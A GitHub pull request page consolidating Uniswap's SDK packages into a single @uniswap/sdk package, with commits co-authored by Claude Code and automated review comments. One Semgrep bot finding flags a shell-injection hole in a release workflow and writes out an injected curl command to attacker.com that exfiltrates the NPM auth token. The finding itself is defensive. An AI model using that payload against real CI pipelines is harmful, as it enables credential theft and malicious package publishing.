feat(sdk): consolidate all SDKs into unified @uniswap/sdk package#484
feat(sdk): consolidate all SDKs into unified @uniswap/sdk package#484
Conversation
This is a major architectural change that merges all 11 SDK packages into a single
unified package with subpath exports, eliminating cascading version bumps.
BREAKING CHANGE: Import paths have changed
Before:
import { Token } from '@uniswap/sdk-core'
import { Pool } from '@uniswap/v3-sdk'
After:
import { Token } from '@uniswap/sdk/core'
import { Pool } from '@uniswap/sdk/v3'
Changes:
- Consolidated sdk-core, v2-sdk, v3-sdk, v4-sdk, router-sdk, universal-router-sdk,
permit2-sdk, uniswapx-sdk, smart-wallet-sdk, flashtestations-sdk, and
tamperproof-transactions into sdks/sdk/
- Added subpath exports for tree-shaking support
- Created backwards-compatible wrapper packages in sdks/compat/
- Updated build tooling from tsdx to tsup
- Switched test runner from jest to vitest
- Added unified CI/CD workflow for single-package releases
Benefits:
- One change = one version = one release (no more cascading updates)
- Simpler dependency management for consumers
- Internal refactoring doesn't trigger releases
- Modern bundlers tree-shake unused subpaths
c705196 to
fd131c1
Compare
🤖 Claude PR Metadata GenerationStatus: ❌ Error
|
| - name: Bump version | ||
| if: steps.check.outputs.should_release == 'true' | ||
| working-directory: sdks/compat/${{ matrix.package }} | ||
| run: npm version ${{ github.event.inputs.version_bump }} --no-git-tag-version |
There was a problem hiding this comment.
Semgrep identified a blocking 🔴 issue in your code:
User-controlled version_bump input is directly interpolated into a shell command, allowing command injection and potential theft of NPM credentials.
More details about this
The run: step directly interpolates ${{ github.event.inputs.version_bump }} into an npm command without using an intermediate environment variable. Since github.event.inputs is controlled by whoever triggers this workflow, an attacker could inject arbitrary shell commands by setting the version_bump input.
Exploit scenario:
- An attacker triggers the workflow (or creates a pull request/issue that triggers it) and sets the
version_bumpinput to a malicious value like1.0.0; curl https://attacker.com/steal?token=$(echo $NODE_AUTH_TOKEN) - The
run:command executes:npm version 1.0.0; curl https://attacker.com/steal?token=$(echo $NODE_AUTH_TOKEN) --no-git-tag-version - The npm version command runs normally, but then the attacker's curl command also executes in the same shell, allowing them to exfiltrate the
NODE_AUTH_TOKENsecret (which has NPM registry access) - The attacker can now publish malicious versions of the package using the stolen credentials
This works because the shell interprets the semicolon as a command separator, and the attacker's injected commands run with full access to all secrets and environment variables in the runner.
To resolve this comment:
✨ Commit Assistant fix suggestion
| run: npm version ${{ github.event.inputs.version_bump }} --no-git-tag-version | |
| env: | |
| VERSION_BUMP: ${{ github.event.inputs.version_bump }} | |
| run: npm version "$VERSION_BUMP" --no-git-tag-version |
View step-by-step instructions
- Add an
env:section to the "Bump version" step and set a variable such asVERSION_BUMP: ${{ github.event.inputs.version_bump }}. - In the
run:command, replace the variable interpolation with the environment variable, referencing it as"$VERSION_BUMP"(inside double-quotes).
The final command should be:npm version "$VERSION_BUMP" --no-git-tag-version.
This change prevents possible code injection attacks by only allowing the environment variable's literal value to be used.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
You can view more details about this finding in the Semgrep AppSec Platform.
|
Review the following changes in direct dependencies. Learn more about Socket for GitHub.
|
|
Warning Review the following alerts detected in dependencies. According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
|
- Add missing compat packages for @uniswap/flashtestations-sdk and
@uniswap/tamperproof-transactions to ensure full backwards compatibility
- Add tsconfig.json to all compat packages for proper TypeScript
subpath export resolution
- Fix CI/CD workflows:
- Remove sdks/compat/** trigger from unified-sdk-release.yaml
- Add main SDK build step to compat-packages-release.yaml
- Update semantic-release.yaml to only trigger on beta branch
- Remove submodule checkout from monorepo-checks.yml and
monorepo-integrity.yml (no longer needed)
- Remove Foundry installation step (tests use vitest, not forge)
- Add release pipeline to turbo.json
- Migrate remaining jest references to vitest:
- txtRecord.test.ts: jest.fn() → vi.fn()
- smartWallet.test.ts: jest.spyOn/restoreAllMocks → vi equivalents
- verify.test.ts: Complete rewrite with vi.mock() and vi.hoisted()
for proper module mocking
- Clean up stale .gitmodules (old SDK paths no longer exist)
All 12 packages build successfully. All migrated tests pass.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
fd131c1 to
91dd2f4
Compare
# Conflicts: # sdks/router-sdk/package.json # sdks/universal-router-sdk/package.json # sdks/universal-router-sdk/test/forge/SwapERC20CallParameters.t.sol # sdks/universal-router-sdk/test/forge/interop.json # sdks/universal-router-sdk/test/forge/utils/DeployRouter.sol # sdks/universal-router-sdk/test/uniswapTrades.test.ts # yarn.lock
Update inline snapshot to reflect new reactor addresses added in main. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
Fix empty test suite errors by properly wrapping expect() calls inside it() blocks instead of directly in describe() blocks. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Add .eslintrc.cjs with TypeScript and Prettier support - Add @typescript-eslint/eslint-plugin and @typescript-eslint/parser deps - Upgrade eslint-plugin-prettier to v5 for Prettier v3 compatibility - Add lint:fix script for auto-fixing lint issues - Fix all lint errors across the codebase (mostly formatting) 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
- Upgrade typescript-eslint dependencies to v8.38.0 for consistency - Upgrade eslint-plugin-prettier to v5.0.0 for Prettier v3 compatibility - Add caughtErrorsIgnorePattern to handle unused catch variables - Disable no-unused-expressions and no-empty-object-type rules - Fix unused error variable in validateAndParseAddress.ts - Make network-dependent SignatureProvider tests conditional on FORK_URL 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
✨ Claude-Generated Content
PR Scope
Please title your PR according to the following types and scopes following conventional commits:
fix(SDK name):will trigger a patch versionchore(<type>):will not trigger any release and should be used for internal repo changes<type>(public):will trigger a patch version for non-code changes (e.g. README changes)feat(SDK name):will trigger a minor versionfeat(breaking):will trigger a major version for a breaking changeDescription
Major architectural change that consolidates all 11 SDK packages into a single unified
@uniswap/sdkpackage with subpath exports. This eliminates cascading version bumps when internal dependencies change - one change now results in one version and one release.BREAKING CHANGE: All import paths have changed from individual package names to subpath exports.
Changes
sdks/sdk/:@uniswap/sdk/core@uniswap/sdk/v2@uniswap/sdk/v3@uniswap/sdk/v4@uniswap/sdk/router@uniswap/sdk/universal-router@uniswap/sdk/permit2@uniswap/sdk/uniswapx@uniswap/sdk/smart-wallet@uniswap/sdk/flashtestations@uniswap/sdk/tamperproofunified-sdk-release.yaml)semantic-release-monorepoin favor of standard semantic-releasesdks/sdkHow Has This Been Tested?
Vitest test suite covering all consolidated modules. CI workflow runs tests for the unified SDK.
Are there any breaking changes?
Yes - all import paths change from individual package names to subpath exports:
@uniswap/sdk-core@uniswap/sdk/core@uniswap/v2-sdk@uniswap/sdk/v2@uniswap/v3-sdk@uniswap/sdk/v3@uniswap/v4-sdk@uniswap/sdk/v4@uniswap/router-sdk@uniswap/sdk/router@uniswap/universal-router-sdk@uniswap/sdk/universal-router@uniswap/permit2-sdk@uniswap/sdk/permit2@uniswap/uniswapx-sdk@uniswap/sdk/uniswapx@uniswap/smart-wallet-sdk@uniswap/sdk/smart-wallet@uniswap/flashtestations-sdk@uniswap/sdk/flashtestations@uniswap/tamperproof-transactions@uniswap/sdk/tamperprooffeat(breaking): ...), post a notice in #eng-sdks, and explicitly notify all Uniswap Labs consumers of the SDK.(Optional) Feedback Focus
package.json(Optional) Follow Ups